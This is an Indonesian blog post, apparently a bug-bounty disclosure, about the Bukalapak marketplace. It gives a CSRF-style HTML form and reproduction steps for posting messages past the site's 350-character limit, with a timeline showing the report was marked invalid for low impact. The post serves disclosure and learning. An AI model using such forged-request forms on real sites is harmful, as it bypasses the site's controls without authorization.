Bug Bukalapak.com | Bug Able to Send Message Using CSRF And Bypass Filter Send Message (350 text)

bug Bukalapak.com | Bug Able To Send Message Using CSRF And Bypass Filter Send Message ( 350 text ) 

Kali Ini Saya menemukan 2 Bug Di Fitur Kirim Pesan Bukalapak, Bug Ini memungkinkan Saya Untuk Mengirim Pesan Lebih dari 350 karakter text Yang Di Batasi Bukalapak,
Bug Ini Terjadi Karena Tidak ada nya Filter Di BackEnd Atau Siapa Saja Yang request Melalui API Bukalapak Atau  Ke Server Langsung Tidak Akan Terkena Filter,
Namun Sayang nya Bug Ini di anggap Invalid Bug Mungkin Karena Less impact atau Cuman berpengaruh Kepada Saya sendiri, namun Saya Akan Share PoC nya Untuk Pembelajaran Di Sini

PoC :



Script CSRF :


<div class='message-chat-form' id='message_chat_form'>

<form class="js-td__message-submit" novalidate="novalidate" id="new_messages_message" action="/messages" accept-charset="UTF-8" method="post"><input name="utf8" type="hidden" value="&#x2713;" /><div class='info'>

<p>

<marquee><strong>BUKALAPAK VULN SEND MESSAGE WITH CSRF</strong></marquee>


</p>

</div>

<input type="hidden" value="ID PESAN" name="messages_message[receiver_id]" id="messages_message_receiver_id" />

<input value="MWEB Message" type="hidden" name="messages_message[platform_version]" id="messages_message_platform_version" />

<div class='message-chat-textarea js-has-hint'>

<textarea class='js-char-counter--tobe-counted' data-max-chars='350' name='messages_message[message]' placeholder='Ketik pesan&hellip;'></textarea>

<div class='js-char-counter chat-counter'>

<span class='chat-counter__text'>

<span class='js-char-counter--display chat-counter__number'>0</span>

/ 999999 karakter

</span>

</div>

</div>

<div class='sticky-wrapper message-chat-wrapper'>

<div class='sticky-button'>

<input class='btn btn--medium btn--red btn--right' type='submit' value='Kirim'>

</div>

</div>

</form>

</div>

</section>

</div>


1. login ke akun bukalapak anda

2. edit ID PESAN di script CSRF dengan id pesan anda contoh https://www.bukalapak.com/messages/21592091?from=message-page berarti ID PESAN 21592091

3. setelah script di edit copy script tersebut lalu buka bukalapak.com ketik di address bar javascript:window.prompt(1) pastekan script tadi klik ok untuk menjalankan script

4. masukan text pesan anda lebih dari 350 text pesan klik kirim untuk mengirim pesan



Timeline :

• 12 - 10 - 2017 : Report Send
• 12 - 10 - 2017 : PoC Send
• 13 - 10 - 2017 : Respon IT Bukalapak
• 13 - 10 - 2017 : Details PoC Send
• 13 - 10 - 2017 : Bug Notif Invalid (Less impact)